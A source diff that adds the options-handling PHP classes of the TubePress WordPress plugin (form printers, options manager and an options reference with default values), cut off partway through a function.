+ * Widget option names for the plugin
+ *
+ */
+class org_tubepress_options_category_Widget
+{
+    const TAGSTRING = "widget-tagstring";
+    const TITLE     = "widget-title";
+} 
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/options/form/CategoryPrinter.class.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/options/form/CategoryPrinter.class.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/options/form/CategoryPrinter.class.php	(revision 44)
@@ -0,0 +1,145 @@
+<?php
+/**
+ * Copyright 2006, 2007, 2008, 2009 Eric D. Hough (http://ehough.com)
+ * 
+ * This file is part of TubePress (http://tubepress.org)
+ * 
+ * TubePress is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ * 
+ * TubePress is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ * 
+ * You should have received a copy of the GNU General Public License
+ * along with TubePress.  If not, see <http://www.gnu.org/licenses/>.
+ *
+ */
+
+function_exists('tubepress_load_classes')
+    || require(dirname(__FILE__) . '/../../../../tubepress_classloader.php');
+tubepress_load_classes(array('org_tubepress_options_category_Gallery',
+    'org_tubepress_options_Category',
+    'org_tubepress_options_form_WidgetPrinter',
+    'org_tubepress_message_MessageService',
+    'org_tubepress_options_reference_OptionsReference',
+    'org_tubepress_options_storage_StorageManager',
+    'net_php_pear_HTML_Template_IT'));
+
+/**
+ * Gets the HTML for an option category
+ *
+ */
+class org_tubepress_options_form_CategoryPrinter
+{
+    private $_tpl;
+    private $_optionsReference;
+    private $_messageService;
+    private $_tpsm;
+    private $_wp;
+
+    public function getHtml($optionCategoryName) {
+
+        $this->_loadTemplateFile($optionCategoryName);
+
+        $this->_tpl->setVariable("OPTION_CATEGORY_TITLE", 
+                $this->_messageService->_("options-category-title-$optionCategoryName"));
+
+        $this->_parseOptionCategory($optionCategoryName);        
+                
+        return $this->_tpl->get();
+    }
+
+    private function _parseOptionCategory($optionCategoryName)
+    {
+        switch ($optionCategoryName) {
+            case org_tubepress_options_Category::META:
+                $this->_parseMetaOptionsCategory();
+                break;
+            case org_tubepress_options_Category::GALLERY:
+                $this->_parseGalleryOptionsCategory();
+                break;
+            default:
+                $this->_parseRegularOptionsCategory($optionCategoryName);
+        }
+    }
+
+    private function _parseGalleryOptionsCategory()
+    {
+        $modeNames = $this->_optionsReference->getValidEnumValues(org_tubepress_options_category_Gallery::MODE);
+        foreach ($modeNames as $modeName) {
+            
+            $this->_tpl->setVariable("OPTION_TITLE",
+                $this->_messageService->_("options-title-$modeName"));
+            $this->_tpl->setVariable("OPTION_DESC",
+                $this->_messageService->_("options-desc-$modeName"));
+                
+            $html = $this->_wp->getHtmlForRadio($modeName);
+            
+            if ($this->_optionsReference->isOptionName($modeName . "Value")) {
+                $newName = $modeName . "Value";
+                $html .= $this->_wp->getHtml($newName);
+            }
+            $this->_tpl->setVariable("OPTION_WIDGET", $html);
+            $this->_tpl->parse('optionRow');
+        }        
+    }
+    
+    private function _parseMetaOptionsCategory()
+    {
+        $optionNames = $this->_optionsReference->getOptionNamesForCategory(org_tubepress_options_Category::META);
+        
+        $index = 1;
+        foreach ($optionNames as $optionName) {
+            
+            $this->_parseCommonOptionInfo($optionName);
+                
+            if ($index % 4 == 0) {
+                $this->_tpl->parse('optionRow');
+            } else {
+                $this->_tpl->parse('option');
+            }
+            $index++;
+        }
+    }  
+    
+    private function _parseRegularOptionsCategory($optionCategoryName)
+    {
+        $optionNames = $this->_optionsReference->getOptionNamesForCategory($optionCategoryName);
+        
+        foreach ($optionNames as $optionName) {
+            
+            $this->_parseCommonOptionInfo($optionName);
+            $this->_tpl->parse('optionRow');
+        }
+    }    
+    
+    private function _parseCommonOptionInfo($optionName)
+    {
+        $this->_tpl->setVariable("OPTION_TITLE",
+                $this->_messageService->_("options-title-$optionName"));
+        $this->_tpl->setVariable("OPTION_DESC",
+                $this->_messageService->_("options-desc-$optionName"));
+        $this->_tpl->setVariable("OPTION_WIDGET",
+                $this->_wp->getHtml($optionName));
+    }
+    
+    private function _loadTemplateFile($optionCategoryName)
+    {
+        $this->_tpl = new net_php_pear_HTML_Template_IT(dirname(__FILE__) . "/../../../../../ui/options_page/html_templates");
+        
+        $name = $optionCategoryName == org_tubepress_options_Category::META ? "options_group_meta" : "options_group_regular";
+        
+        if (!$this->_tpl->loadTemplatefile("$name.tpl.html", true, true)) {
+            throw new Exception("Could not load template for $optionCategoryName category");
+        }
+    }
+    
+    public function setMessageService(org_tubepress_message_MessageService $messageService) { $this->_messageService = $messageService; }
+    public function setOptionsReference(org_tubepress_options_reference_OptionsReference $reference) { $this->_optionsReference = $reference; }
+    public function setStorageManager(org_tubepress_options_storage_StorageManager $storageManager) { $this->_tpsm = $storageManager; }
+    public function setWidgetPrinter(org_tubepress_options_form_WidgetPrinter $widgetPrinter) { $this->_wp = $widgetPrinter; }
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/options/form/FormHandler.class.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/options/form/FormHandler.class.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/options/form/FormHandler.class.php	(revision 44)
@@ -0,0 +1,118 @@
+<?php
+/**
+ * Copyright 2006, 2007, 2008, 2009 Eric D. Hough (http://ehough.com)
+ * 
+ * This file is part of TubePress (http://tubepress.org)
+ * 
+ * TubePress is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ * 
+ * TubePress is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ * 
+ * You should have received a copy of the GNU General Public License
+ * along with TubePress.  If not, see <http://www.gnu.org/licenses/>.
+ *
+ */
+
+function_exists('tubepress_load_classes')
+    || require(dirname(__FILE__) . '/../../../../tubepress_classloader.php');
+tubepress_load_classes(array('net_php_pear_HTML_Template_IT',
+    'org_tubepress_options_Category',
+    'org_tubepress_options_Type',
+    'org_tubepress_message_MessageService',
+    'org_tubepress_options_reference_OptionsReference',
+    'org_tubepress_options_storage_StorageManager',
+    'org_tubepress_options_form_CategoryPrinter'));
+
+/**
+ * Displays a generic options form for TubePress
+ *
+ */
+class org_tubepress_options_form_FormHandler
+{
+    private $_optionsReference;
+    private $_messageService;
+    private $_storageManager;
+    private $_categoryPrinter;
+    
+    /**
+     * Displays all the TubePress options in HTML
+     *
+     * @param org_tubepress_options_storage_StorageManager $tpsm The TubePress storage manager
+     * 
+     * @return void
+     */
+    public final function display()
+    {
+        /* load up the template */
+        $tpl = new net_php_pear_HTML_Template_IT(dirname(__FILE__) . "/../../../../../ui/options_page/html_templates");
+        if (!$tpl->loadTemplatefile("options_page.tpl.html", true, true)) {
+            throw new Exception("Could not load options page template");
+        }
+        
+        /* set the surrounding text */
+        $tpl->setVariable("PAGETITLE", $this->_messageService->_("options-page-title"));
+        $tpl->setVariable("INTROTEXT", $this->_messageService->_("options-page-intro-text"));
+        $tpl->setVariable("DONATION",  $this->_messageService->_("options-page-donation"));
+        $tpl->setVariable("SAVE",      $this->_messageService->_("options-page-save-button"));
+
+        /* now parse each option category */
+        $optionCategoryNames = $this->_optionsReference->getOptionCategoryNames();
+
+        foreach ($optionCategoryNames as $optionCategoryName) {
+            
+            /* don't display the widget options on this page */
+            if ($optionCategoryName == org_tubepress_options_Category::WIDGET) {
+                continue;
+            }
+            
+            $categoryHtml = $this->_categoryPrinter->getHtml($optionCategoryName);
+            
+            $tpl->setVariable("OPTION_CATEGORY", $categoryHtml);
+            $tpl->parse("optionCategory");
+        }
+  
+        print $tpl->get();
+    }
+    
+    /**
+     * Updates options from a keyed array
+     *
+     * @param org_tubepress_options_storage_StorageManager $tpsm     The TubePress storage manager
+     * @param array                                        $postVars The POST variables
+     * 
+     * @return void
+     */
+    public final function collect($postVars)
+    {   
+        /* this loop will collect everything except checkboxes */ 
+        foreach ($postVars as $name => $value) {
+            if ($this->_storageManager->exists($name)) {
+                $this->_storageManager->set($name, $value);
+            }
+        }
+
+        /* this loop will handle the checkboxes */
+        $names = $this->_optionsReference->getAllOptionNames();
+        foreach ($names as $name) {
+
+            /* ignore non-bools */
+            if ($this->_optionsReference->getType($name) != org_tubepress_options_Type::BOOL) {
+                continue;
+            }
+
+            /* if the user checked the box, the option name will appear in the POST vars */
+            $this->_storageManager->set($name, array_key_exists($name, $postVars));            
+        }
+    }
+    
+    public function setMessageService(org_tubepress_message_MessageService $messageService) { $this->_messageService = $messageService; }
+    public function setOptionsReference(org_tubepress_options_reference_OptionsReference $reference) { $this->_optionsReference = $reference; }
+    public function setStorageManager(org_tubepress_options_storage_StorageManager $storageManager) { $this->_storageManager = $storageManager; }
+    public function setCategoryPrinter(org_tubepress_options_form_CategoryPrinter $printer) { $this->_categoryPrinter = $printer; }
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/options/form/WidgetPrinter.class.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/options/form/WidgetPrinter.class.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/options/form/WidgetPrinter.class.php	(revision 44)
@@ -0,0 +1,193 @@
+<?php
+/**
+ * Copyright 2006, 2007, 2008, 2009 Eric D. Hough (http://ehough.com)
+ * 
+ * This file is part of TubePress (http://tubepress.org)
+ * 
+ * TubePress is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ * 
+ * TubePress is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ * 
+ * You should have received a copy of the GNU General Public License
+ * along with TubePress.  If not, see <http://www.gnu.org/licenses/>.
+ *
+ */
+
+function_exists('tubepress_load_classes')
+    || require(dirname(__FILE__) . '/../../../../tubepress_classloader.php');
+tubepress_load_classes(array('net_php_pear_HTML_Template_IT',
+    'org_tubepress_options_category_Gallery',
+    'org_tubepress_options_Type',
+    'org_tubepress_message_MessageService',
+    'org_tubepress_options_reference_OptionsReference',
+    'org_tubepress_options_storage_StorageManager',
+    'org_tubepress_util_StringUtils'));
+
+/**
+ * Prints widgets for the options form
+ *
+ */
+class org_tubepress_options_form_WidgetPrinter
+{
+    private $_optionsReference;
+    private $_messageService;
+    private $_tpl;
+    private $_tpsm;
+
+    public function getHtml($optionName)
+    {
+        $this->_tpl = new net_php_pear_HTML_Template_IT(dirname(__FILE__) . "/../../../../../ui/options_page/html_templates");
+        if (!$this->_tpl->loadTemplatefile("options_widgets.tpl.html", true, true)) {
+            throw new Exception("Could not load template for $optionName option");
+        }
+
+        $this->_processSingleWidget($optionName);
+        
+        return org_tubepress_util_StringUtils::removeEmptyLines($this->_tpl->get());
+    }
+    
+    public function getHtmlForRadio($optionName)
+    {
+        $this->_tpl = new net_php_pear_HTML_Template_IT(dirname(__FILE__) . "/../../../../../ui/options_page/html_templates");
+        if (!$this->_tpl->loadTemplatefile("options_widgets.tpl.html", true, true)) {
+            throw new Exception("Could not load template for $optionName option");
+        }
+        
+        $this->_displayGalleryInput($optionName, $this->_tpsm->get(org_tubepress_options_category_Gallery::MODE));
+        
+        return org_tubepress_util_StringUtils::removeEmptyLines($this->_tpl->get());
+    }
+    
+    private function _processSingleWidget($optionName)
+    {
+        $type = $this->_optionsReference->getType($optionName);
+        switch ($type) {
+            case org_tubepress_options_Type::BOOL:
+                $this->_displayBooleanInput($optionName);
+                break;
+            case org_tubepress_options_Type::TEXT:
+            case org_tubepress_options_Type::INTEGRAL:
+                $this->_displayTextInput($optionName);
+                break;
+            case org_tubepress_options_Type::COLOR:
+                $this->_displayColorInput($optionName);
+                break;
+            case org_tubepress_options_Type::ORDER:
+            case org_tubepress_options_Type::PLAYER:
+            case org_tubepress_options_Type::QUALITY:
+            case org_tubepress_options_Type::TIME_FRAME:
+            case org_tubepress_options_Type::SAFE_SEARCH:
+            case org_tubepress_options_Type::PLAYER_IMPL:
+                $this->_displayMenuInput($optionName, $this->_createMenuItemsArray($type));
+        }
+    }
+    
+    private function _createMenuItemsArray($optionType)
+    {
+        $resuls = array();
+        foreach ($this->_optionsReference->getValidEnumValues($optionType) as $value) {
+            $results[$this->_messageService->_("$optionType-$value")] = $value;
+        }
+        return $results;
+    }
+    
+    /**
+     * Displays a drop-down menu
+     *
+     * @param string           $name   The name of the select input
+     * @param array            $values The possible values for the drop-down
+     * 
+     * @return void
+     */
+    private function _displayMenuInput($name, $values)
+    {   
+        $value = $this->_tpsm->get($name);
+        $this->_tpl->setVariable("OPTION_NAME", $name);
+        foreach ($values as $validValueTitle => $validValue) {
+            
+            if ($validValue === $value) {
+                $this->_tpl->setVariable("OPTION_SELECTED", "SELECTED");
+            }
+            $this->_tpl->setVariable("MENU_ITEM_TITLE", $validValueTitle);
+            $this->_tpl->setVariable("MENU_ITEM_VALUE", $validValue);
+            $this->_tpl->parse("menuItem");
+        }
+        $this->_tpl->parse("menu");
+    }
+    
+    /**
+     * Displays a text input
+     *
+     * @param string           $name  The name of the input
+     * 
+     * @return void
+     */
+    private function _displayTextInput($name)
+    {    
+        $value = $this->_tpsm->get($name);
+        $this->_tpl->setVariable("OPTION_VALUE", $value);
+        $this->_tpl->setVariable("OPTION_NAME", $name);
+        $this->_tpl->parse("text");
+    }
+    
+    /**
+     * Displays a text input
+     *
+     * @param string           $name  The name of the input
+     * 
+     * @return void
+     */
+    private function _displayColorInput($name)
+    {    
+        $value = $this->_tpsm->get($name);
+        $this->_tpl->setVariable("OPTION_VALUE", $value);
+        $this->_tpl->setVariable("OPTION_NAME", $name);
+        $this->_tpl->parse("color");
+    }
+    
+    /**
+     * Displays a checkbox input
+     *
+     * @param string           $name  The name of the checkbox input
+     * 
+     * @return void
+     */
+    private function _displayBooleanInput($name)
+    {   
+        $value = $this->_tpsm->get($name);
+        $this->_tpl->setVariable("OPTION_NAME", $name);
+        
+        if ($value) {
+            $this->_tpl->setVariable("OPTION_SELECTED", "CHECKED");
+        }
+        $this->_tpl->parse("checkbox");
+    }
+    
+    /**
+     * Displays a radio button and then an optional additional input
+     *
+     * @param string           $name  The name of the input
+     * @param string           $value The current value
+     * 
+     * @return void
+     */
+    private function _displayGalleryInput($name, $value)
+    {   
+        $this->_tpl->setVariable("OPTION_NAME", $name);
+        if ($name === $value) {
+            $this->_tpl->setVariable("OPTION_SELECTED", "CHECKED");
+        }
+        $this->_tpl->parse("galleryType");
+    }
+    
+    public function setMessageService(org_tubepress_message_MessageService $messageService) { $this->_messageService = $messageService; }
+    public function setOptionsReference(org_tubepress_options_reference_OptionsReference $reference) { $this->_optionsReference = $reference; }
+    public function setStorageManager(org_tubepress_options_storage_StorageManager $storageManager) { $this->_tpsm = $storageManager; }
+ 
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/options/manager/OptionsManager.class.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/options/manager/OptionsManager.class.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/options/manager/OptionsManager.class.php	(revision 44)
@@ -0,0 +1,72 @@
+<?php
+/**
+ * Copyright 2006, 2007, 2008, 2009 Eric D. Hough (http://ehough.com)
+ * 
+ * This file is part of TubePress (http://tubepress.org)
+ * 
+ * TubePress is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ * 
+ * TubePress is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ * 
+ * You should have received a copy of the GNU General Public License
+ * along with TubePress.  If not, see <http://www.gnu.org/licenses/>.
+ *
+ */
+
+/**
+ * Holds the current options for TubePress. This is the default options,
+ * usually in persistent storage somewhere, and custom options parsed
+ * from a shortcode
+ */
+interface org_tubepress_options_manager_OptionsManager
+{
+   
+    /**
+     * Gets the value of an option
+     *
+     * @param string $optionName The name of the option
+     * 
+     * @return unknown The option value
+     */
+    public function get($optionName);
+    
+    /**
+     * Enter description here...
+     *
+     * @param array $customOpts Custom options
+     * 
+     * @return void
+     */
+    public function setCustomOptions($customOpts);
+
+    /**
+     * Enter description here...
+     *
+     * @param array $customOpts Custom options
+     * 
+     * @return void
+     */
+    public function mergeCustomOptions($customOpts);
+    
+    /**
+     * Enter description here...
+     *
+     * @param string $newTagString The new shortcode
+     * 
+     * @return void
+     */
+    public function setShortcode($newTagString);
+    
+    /**
+     * Enter description here...
+     *
+     * @return string The full shortcode
+     */
+    public function getShortcode();
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/options/manager/SimpleOptionsManager.class.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/options/manager/SimpleOptionsManager.class.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/options/manager/SimpleOptionsManager.class.php	(revision 44)
@@ -0,0 +1,136 @@
+<?php
+/**
+ * Copyright 2006, 2007, 2008, 2009 Eric D. Hough (http://ehough.com)
+ * 
+ * This file is part of TubePress (http://tubepress.org)
+ * 
+ * TubePress is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ * 
+ * TubePress is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ * 
+ * You should have received a copy of the GNU General Public License
+ * along with TubePress.  If not, see <http://www.gnu.org/licenses/>.
+ *
+ */
+
+function_exists('tubepress_load_classes')
+    || require(dirname(__FILE__) . '/../../../../tubepress_classloader.php');
+tubepress_load_classes(array('org_tubepress_options_manager_OptionsManager',
+    'org_tubepress_options_storage_StorageManager',
+    'org_tubepress_options_reference_OptionsReference',
+    'org_tubepress_options_validation_InputValidationService'));
+
+/**
+ * Holds the current options for TubePress. This is the default options,
+ * usually in persistent storage somewhere, and custom options parsed
+ * from a shortcode
+ */
+class org_tubepress_options_manager_SimpleOptionsManager implements org_tubepress_options_manager_OptionsManager
+{
+    /**
+     * Enter description here...
+     *
+     * @var array
+     */
+    private $_customOptions = array();
+    
+    /**
+     * Enter description here...
+     *
+     * @var org_tubepress_options_storage_StorageManager
+     */
+    private $_tpsm;
+    
+    private $_optionsReference;
+    
+    private $_validationService;
+    
+    /**
+     * The shortcode currently in use
+     *
+     * @var string
+     */
+    private $_shortcode;
+    
+    /**
+     * Gets the value of an option
+     *
+     * @param string $optionName The name of the option
+     * 
+     * @return unknown The option value
+     */
+    public function get($optionName)
+    {
+        /* get the value, either from the shortcode or the db */
+        $value = array_key_exists($optionName, $this->_customOptions) ?
+            $this->_customOptions[$optionName] : $this->_tpsm->get($optionName);
+        
+        /* get a valid value for this option */    
+        try {
+            $this->_validationService->validate($optionName, $value);
+        } catch (Exception $e) {
+            $value = $this->_optionsReference->getDefaultValue($optionName);
+        }
+        return $value;
+    }
+    
+    /**
+     * Enter description here...
+     *
+     * @param array $customOpts Custom options
+     * 
+     * @return void
+     */
+    public function setCustomOptions($customOpts)
+    {
+        $this->_customOptions = $customOpts;
+    }
+
+    public function mergeCustomOptions($customOpts)
+    {
+        $this->_customOptions = array_merge($this->_customOptions, $customOpts);
+    }    
+
+    /**
+     * Enter description here...
+     *
+     * @param string $newTagString The new shortcode
+     * 
+     * @return void
+     */
+    public function setShortcode($newTagString)
+    {
+        $this->_shortcode = $newTagString;
+    }
+    
+    /**
+     * Enter description here...
+     *
+     * @return string The full shortcode
+     */
+    public function getShortcode()
+    {
+        return $this->_shortcode;
+    }
+    
+    public function setStorageManager(org_tubepress_options_storage_StorageManager $tpsm)
+    {
+        $this->_tpsm = $tpsm;
+    }
+    
+    public function setOptionsReference(org_tubepress_options_reference_OptionsReference $ref)
+    {
+        $this->_optionsReference = $ref;
+    }
+    
+    public function setValidationService(org_tubepress_options_validation_InputValidationService $valService)
+    {
+        $this->_validationService = $valService;
+    }
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/options/reference/OptionsReference.class.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/options/reference/OptionsReference.class.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/options/reference/OptionsReference.class.php	(revision 44)
@@ -0,0 +1,44 @@
+<?php
+/**
+ * Copyright 2006, 2007, 2008, 2009 Eric D. Hough (http://ehough.com)
+ * 
+ * This file is part of TubePress (http://tubepress.org)
+ * 
+ * TubePress is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ * 
+ * TubePress is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ * 
+ * You should have received a copy of the GNU General Public License
+ * along with TubePress.  If not, see <http://www.gnu.org/licenses/>.
+ *
+ */
+
+/**
+ * The master reference for TubePress options - their names, deprecated
+ * names, default values, types, etc.
+ *
+ */
+interface org_tubepress_options_reference_OptionsReference
+{   
+    function getAllOptionNames();
+
+    function getCategory($optionName);
+    
+    function getDefaultValue($optionName);
+
+    function getOptionCategoryNames();
+    
+    function getOptionNamesForCategory($category);
+    
+    function getType($optionName);
+    
+    function getValidEnumValues($optionName);
+    
+    function isOptionName($candidateOptionName);
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/options/reference/SimpleOptionsReference.class.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/options/reference/SimpleOptionsReference.class.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/options/reference/SimpleOptionsReference.class.php	(revision 44)
@@ -0,0 +1,203 @@
+<?php
+/**
+ * Copyright 2006, 2007, 2008, 2009 Eric D. Hough (http://ehough.com)
+ *
+ * This file is part of TubePress (http://tubepress.org)
+ *
+ * TubePress is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ *
+ * TubePress is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with TubePress.  If not, see <http://www.gnu.org/licenses/>.
+ *
+ */
+
+function_exists('tubepress_load_classes')
+    || require(dirname(__FILE__) . '/../../../../tubepress_classloader.php');
+tubepress_load_classes(array('org_tubepress_options_reference_OptionsReference',
+    'org_tubepress_options_Type',
+    'org_tubepress_options_category_Embedded',
+    'org_tubepress_options_category_Gallery',
+    'org_tubepress_options_category_Advanced',
+    'org_tubepress_options_category_Feed',
+    'org_tubepress_options_category_Widget',
+    'org_tubepress_options_category_Display',
+    'org_tubepress_options_category_Meta'));
+
+/**
+ * Simple implementation of options reference
+ *
+ */
+class org_tubepress_options_reference_SimpleOptionsReference implements org_tubepress_options_reference_OptionsReference
+{
+
+    private $_options = array(
+        org_tubepress_options_Type::COLOR => array(
+            org_tubepress_options_category_Embedded::PLAYER_COLOR   => "999999",
+            org_tubepress_options_category_Embedded::PLAYER_HIGHLIGHT => "FFFFFF"
+        ),
+        org_tubepress_options_Type::MODE => array(
+            org_tubepress_options_category_Gallery::MODE => "recently_featured"
+        ),
+        org_tubepress_options_Type::TEXT => array(
+            org_tubepress_options_category_Advanced::DATEFORMAT     => "M j, Y",
+            org_tubepress_options_category_Advanced::KEYWORD        => "tubepress",
+            org_tubepress_options_category_Gallery::FAVORITES_VALUE => "mrdeathgod",
+            org_tubepress_options_category_Gallery::PLAYLIST_VALUE  => "D2B04665B213AE35",
+            org_tubepress_options_category_Gallery::TAG_VALUE       => "stewart daily show",
+            org_tubepress_options_category_Gallery::USER_VALUE      => "3hough",
+            org_tubepress_options_category_Feed::CLIENT_KEY         => "ytapi-EricHough-TubePress-ki6oq9tc-0",
+            org_tubepress_options_category_Feed::DEV_KEY            => "AI39si5uUzupiQW9bpzGqZRrhvqF3vBgRqL-I_28G1zWozmdNJlskzMDQEhpZ-l2RqGf_6CNWooL96oJZRrqKo-eJ9QO_QppMg",
+            org_tubepress_options_category_Widget::TITLE            => "TubePress",
+            org_tubepress_options_category_Widget::TAGSTRING        => "[tubepress thumbHeight='105', thumbWidth='135']"
+        ),
+        org_tubepress_options_Type::BOOL => array(
+            org_tubepress_options_category_Advanced::DEBUG_ON           => true,
+            org_tubepress_options_category_Advanced::NOFOLLOW_LINKS     => true,
+            org_tubepress_options_category_Advanced::RANDOM_THUMBS      => true,
+            org_tubepress_options_category_Display::RELATIVE_DATES      => false,
+            org_tubepress_options_category_Display::PAGINATE_ABOVE      => true,
+            org_tubepress_options_category_Display::PAGINATE_BELOW      => true,
+            org_tubepress_options_category_Embedded::AUTOPLAY           => false,
+            org_tubepress_options_category_Embedded::BORDER             => false,
+            org_tubepress_options_category_Embedded::GENIE              => false,
+            org_tubepress_options_category_Embedded::LOOP               => false,
+            org_tubepress_options_category_Embedded::SHOW_INFO          => false,
+            org_tubepress_options_category_Embedded::SHOW_RELATED       => true,
+            org_tubepress_options_category_Embedded::FULLSCREEN         => true,
+            org_tubepress_options_category_Meta::AUTHOR                 => false,
+            org_tubepress_options_category_Meta::CATEGORY               => false,
+            org_tubepress_options_category_Meta::DESCRIPTION            => false,
+            org_tubepress_options_category_Meta::ID                     => false,
+            org_tubepress_options_category_Meta::LENGTH                 => true,
+            org_tubepress_options_category_Meta::RATING                 => false,
+            org_tubepress_options_category_Meta::RATINGS                => false,
+            org_tubepress_options_category_Meta::TAGS                   => false,
+            org_tubepress_options_category_Meta::TITLE                  => true,
+            org_tubepress_options_category_Meta::UPLOADED               => false,
+            org_tubepress_options_category_Meta::URL                    => false,
+            org_tubepress_options_category_Meta::VIEWS                  => true,
+            org_tubepress_options_category_Feed::CACHE_ENABLED          => true,
+            org_tubepress_options_category_Feed::EMBEDDABLE_ONLY        => true
+        ),
+        org_tubepress_options_Type::INTEGRAL => array(
+            org_tubepress_options_category_Display::DESC_LIMIT          => 80,
+            org_tubepress_options_category_Display::RESULTS_PER_PAGE    => 20,
+            org_tubepress_options_category_Display::THUMB_HEIGHT        => 90,
+            org_tubepress_options_category_Display::THUMB_WIDTH         => 120,
+            org_tubepress_options_category_Embedded::EMBEDDED_HEIGHT    => 350,
+            org_tubepress_options_category_Embedded::EMBEDDED_WIDTH     => 425
+        ),
+        org_tubepress_options_Type::TIME_FRAME => array(
+            org_tubepress_options_category_Gallery::MOST_VIEWED_VALUE   => "today",
+            org_tubepress_options_category_Gallery::TOP_RATED_VALUE     => "today"
+        ),
+        org_tubepress_options_Type::ORDER => array(
+            org_tubepress_options_category_Display::ORDER_BY            => "viewCount",
+        ),
+        org_tubepress_options_Type::PLAYER => array(
+            org_tubepress_options_category_Display::CURRENT_PLAYER_NAME => "normal",
+        ),
+        org_tubepress_options_Type::QUALITY => array(
+            org_tubepress_options_category_Embedded::QUALITY            => "normal"
+        ),
+        org_tubepress_options_Type::SAFE_SEARCH => array(
+            org_tubepress_options_category_Feed::FILTER                 => "moderate"    
+        ),
+        org_tubepress_options_Type::PLAYER_IMPL => array(
+            org_tubepress_options_category_Embedded::PLAYER_IMPL        => "youtube"
+        )
+    );
+
+    function getAllOptionNames()
+    {
+        $results = array();
+        foreach ($this->_options as $optionGroup) {
+            $results = array_merge($results, array_keys($optionGroup));
+        }
+        return $results;
+    }
+
+    function getCategory($optionName)
+    {
+        foreach ($this->getOptionCategoryNames() as $optionCategoryName) {
+            if (in_array($optionName, $this->getOptionNamesForCategory($optionCategoryName))) {
+                return $optionCategoryName;
+            }
+        }
+    }
+    
+    function getDefaultValue($optionName)
+    {
+        foreach ($this->_options as $optionType) {
+            if (array_key_exists($optionName, $optionType)) {
+                return $optionType[$optionName];
+            }
+        }
+        return NULL;
+    }
+
+    function getOptionCategoryNames()
+    {
+        return array("gallery", "display", "embedded", "meta", "feed", "advanced", "widget");
+    }
+    
+    function getOptionNamesForCategory($category)
+    {
+        $className = "org_tubepress_options_category_" . ucwords($category);
+        return $this->_getConstantsForClass($className);
+    }
+    
+    function getValidEnumValues($optionType)
+    {
+        switch ($optionType) {
+            case org_tubepress_options_Type::PLAYER:
+                return array("normal", "popup","shadowbox",'jqmodal', "youtube");
+            case org_tubepress_options_Type::ORDER:
+                return array("relevance", "viewCount", "rating", "updated", "random");
